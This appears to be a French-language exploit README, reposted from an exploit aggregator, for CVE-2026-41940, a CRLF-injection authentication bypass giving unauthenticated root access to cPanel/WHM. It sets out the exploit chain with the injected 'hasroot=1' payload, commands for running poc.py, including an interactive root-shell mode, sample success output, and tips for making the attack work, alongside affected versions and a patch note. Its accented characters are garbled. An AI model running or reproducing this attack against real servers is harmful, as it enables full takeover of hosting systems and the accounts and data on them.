Share
## https://sploitus.com/exploit?id=30A9AC7C-E560-5AB8-A736-4D5F73275685
# CVE-2026-41940 â cPanel/WHM Contournement d'Authentification
**Auteur :** SilySec
**Recherche originale :** Sina Kheirkhah ([@SinSinology](https://twitter.com/SinSinology)) / [watchTowr Labs](https://labs.watchtowr.com)
**Sévérité :** Critique (CVSS 9.8)
**Type :** Injection CRLF â Contournement d'authentification â Shell root
---
## Description
CVE-2026-41940 est une vulnérabilité critique dans cPanel/WHM qui permet à un attaquant non authentifié d'obtenir un accÚs root complet via une injection CRLF dans le gestionnaire d'authentification Basic de `cpsrvd`.
La faille combine trois faiblesses :
1. **Injection CRLF non filtrĂ©e** â la fonction `saveSession()` dans `Cpanel/Session.pm` n'assainit pas les caractĂšres `\r\n` avant l'Ă©criture sur disque lorsque la clĂ© `` est absente du cookie.
2. **Encodeur dĂ©sactivĂ©** â sans le segment `` dans le cookie de session, l'encodeur par session ne s'active pas, laissant les octets CRLF Ă©crits en clair dans le fichier de session.
3. **Rechargement du cache** â `Cpanel::Session::Modify::save()` relit le fichier brut et promeut les clĂ©s CRLF injectĂ©es dans le cache JSON, rendant la session pleinement authentifiĂ©e.
---
## Versions affectées
| Branche | DerniÚre version vulnérable | Version corrigée |
|---------|----------------------------|-----------------|
| 110.0.x | 11.110.0.96 | **11.110.0.97** |
| 118.0.x | 11.118.0.62 | **11.118.0.63** |
| 126.0.x | 11.126.0.53 | **11.126.0.54** |
| 132.0.x | 11.132.0.28 | **11.132.0.29** |
| 134.0.x | 11.134.0.19 | **11.134.0.20** |
| 136.0.x | 11.136.0.5 | **11.136.0.6** |
---
## ChaĂźne d'exploitation
```
POST /login/?login_only=1 [mauvais mot de passe]
âââș cookie: whostmgrsession=:ID,
Supprimer , â :ID [dĂ©sactive l'encodeur]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
âââș cpsrvd Ă©crit les octets CRLF bruts dans le fichier de session
GET /scripts2/listaccts + Cookie: :ID [sans token de sécurité]
âââș do_token_denied() â Cpanel::Session::Modify::save()
âââș cache JSON reconstruit avec hasroot=1, tfa_verified=1
â Session authentifiĂ©e en root
```
---
## Utilisation
### Prérequis
```bash
pip install requests
# Pour le mode --terminal (optionnel) :
pip install paramiko
```
### Vérification de la vulnérabilité
```bash
python3 poc.py --target https://CIBLE:2087
```
### Obtenir un shell root interactif
```bash
python3 poc.py --target https://CIBLE:2087 --terminal
```
### Forcer le hostname canonique
```bash
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemple.com
```
### Exemple de sortie
```
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.exemple.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 â leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied â Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
â AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
```
---
## Points techniques importants
- Le **hostname canonique** doit ĂȘtre utilisĂ© dans le header `Host` (pas l'IP) â cpsrvd gĂšre les sessions diffĂ©remment selon le hostname
- Le **timestamp** dans le payload doit ĂȘtre `9999999999` (fixe, avenir lointain) â un timestamp courant Ă©choue
- L'**ordre des clés** dans le payload injecté est important : `successful_internal_auth_with_timestamp` doit venir en premier
---
## Correctif
Le patch dĂ©place l'appel Ă `filter_sessiondata()` Ă l'intĂ©rieur de `saveSession()` et ajoute un encodage conditionnel lorsque la clĂ© `` est absente, empĂȘchant toute Ă©criture en clair.
**Mettre à jour cPanel/WHM immédiatement vers les versions corrigées listées ci-dessus.**
---
## Avertissement
Cet outil est fourni à des fins de recherche et de test interne uniquement. Toute utilisation sur des systÚmes sans autorisation explicite est illégale. SilySec décline toute responsabilité en cas d'utilisation abusive.